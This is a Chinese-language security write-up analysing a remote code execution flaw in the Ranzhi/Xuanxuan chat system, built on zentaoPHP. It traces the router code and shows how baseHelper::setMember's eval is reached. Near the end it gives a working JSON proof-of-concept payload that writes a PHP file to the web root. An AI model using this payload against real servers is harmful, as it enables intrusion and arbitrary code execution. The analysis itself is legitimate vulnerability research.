然之协同及喧喧聊天系统远程命令执行漏洞分析与扩展

参考:https://www.n0tr00t.com/2018/02/27/ranzhi_xuanxuan_rce_vulnerability.html 看了这篇文章,觉得很厉害有趣,跟着分析了一下,同时找了一下其他的利用。

分析

看了源码,是 zentaoPHP 框架写的。查看 www/xuanxuan.php 文件内容。

$appName = 'sys';
$app     = xuanxuan::createApp($appName, '', 'xuanxuan');

$app->loadCommon();
$app->parseRequest();
$app->loadModule();

主要问题在于 parseRequest() 没有验证相应的模块及方法的合法性,直接对 php://input 的传参进行设置使用,新版本增加了验证:

 public function parseRequest()
    {
        extract($this->input);

        $module = strtolower($module);
        $method = strtolower($method);

        if(!isset($this->config->xuanxuan->enabledMethods[$module][$method]))
        {
            $data = new stdclass();
            $data->module = 'chat';
            $data->method = 'kickoff';
            $data->data   = 'Illegal Requset.';
            die($this->encrypt($data));
        }
        .......

-w922

漏洞类似于 ThinkPHP5 的一个远程命令执行漏洞,利用方法是任意调用加载类方法及 php 内置静态方法。 首先分析一下加载的基本类型有哪些。 首先是入口文件 www/xuanxuan.php

$app     = xuanxuan::createApp($appName, '', 'xuanxuan');

跟进创建 app 对象(一般就是路由对象)的过程,到 framework/xuanxuan.class.php:

include 'router.class.php';
class xuanxuan extends router
{
.....
public function __construct($appName = 'sys', $appRoot = '')
    {
        parent::__construct($appName, $appRoot);

        $this->setViewType();
        $this->setClientLang('zh-cn');
    }

他是对 framework/router.class.php 的继承。跟进一下:

class baseRouter
{
.....
public function __construct($appName = 'demo', $appRoot = '')
    {
        $this->setPathFix();
        $this->setBasePath();
        $this->setFrameRoot();
        $this->setCoreLibRoot();
        $this->setAppRoot($appName, $appRoot);
        $this->setTmpRoot();
        $this->setCacheRoot();
        $this->setLogRoot();
        $this->setConfigRoot();
        $this->setModuleRoot();
        $this->setWwwRoot();
        $this->setThemeRoot();
        $this->setDataRoot();
        $this->loadMainConfig();

        $this->loadClass('front',  $static = true);
        $this->loadClass('filter', $static = true);
        $this->loadClass('dao',    $static = true);
        $this->loadClass('mobile', $static = true);

        $this->setSuperVars();
        $this->setDebug();
        $this->setErrorHandler();
        $this->setTimezone();
        $this->startSession();
        ........

在创建 router 对象时,对基本的配置路径进行设置,同时关注 $this->loadClass() 函数

public function loadClass($className, $static = false)
    {
        $className = strtolower($className);

        /* 搜索$coreLibRoot(Search in $coreLibRoot) */
        $classFile = $this->coreLibRoot . $className;
        if(is_dir($classFile)) $classFile .= DS . $className;
        $classFile .= '.class.php';
        if(!helper::import($classFile)) $this->triggerError("class file $classFile not found", __FILE__, __LINE__, $exit = true);

        /* 如果是静态调用,则返回(If staitc, return) */
        if($static) return true;

        /* 实例化该类(Instance it) */
        global $$className;
        if(!class_exists($className)) $this->triggerError("the class $className not found in $classFile", __FILE__, __LINE__, $exit = true);
        if(!is_object($$className)) $$className = new $className();
        return $$className;
    }

在 lib/目录下进行寻找,一般寻找 lib/classname/classname.class.php 文件,然后调用 helper::import 进行包含引入。 所以我们可以直接调用的类:

lib/front/front.class.php
lib/filter/filter.class.php
lib/dao/dao.class.php
lib/mobile/mobile.class.php

参考文章使用的是 lib/dao/dao.class.php 的父类 baseDAO 来直接进行 sql 查询。

扩展

开始也寻找这些类中寻找一些其他利用点,没有找到其他合适的。想在 php 内置类中寻找可以利用的静态方法,也没有找到,希望有研究过的师傅可以指导指导。后面发现还有一个 helper 类可以直接使用,在 loader 中引用了 helper 类。在看 helper 类的方法时发现:

static public function setMember($objName, $key, $value)
    {
        global $$objName;
        if(!is_object($$objName) or empty($key)) return false;
        $key   = str_replace('.', '->', $key);
        $value = serialize($value);
        $code  = ("\$${objName}->{$key}=unserialize(<<<EOT\n$value\nEOT\n);");
        eval($code);
        return true;
    }

可以看到 eval 函数,因为我们可以对调用方法的参数进行控制,对 setMember 函数进行利用,传递函数参数:

["app","parseRequest();\n$f=base64_decode('dGVzdC5waHA=');fwrite(fopen(\"/Users/l0ca1/Documents/Code/mamp_php/ranzhi/www/$f\", 'a+'),'<?php phpinfo();');$a",""]

完成任意代码执行,例子为文件写入,poc:

{"userID": "123","module": "chat","method": "fetch","params":     {"0":"baseHelper","1":"setMember","2":["app","parseRequest();\n$f=base64_decode('dGVzdC5waHA=');fwrite(fopen(\"/Users/l0ca1/Documents/Code/mamp_php/ranzhi/www/$f\", 'a+'),'<?php phpinfo();');$a",""]}}

调用框架中的 aes 对内容进行加密 post 即可。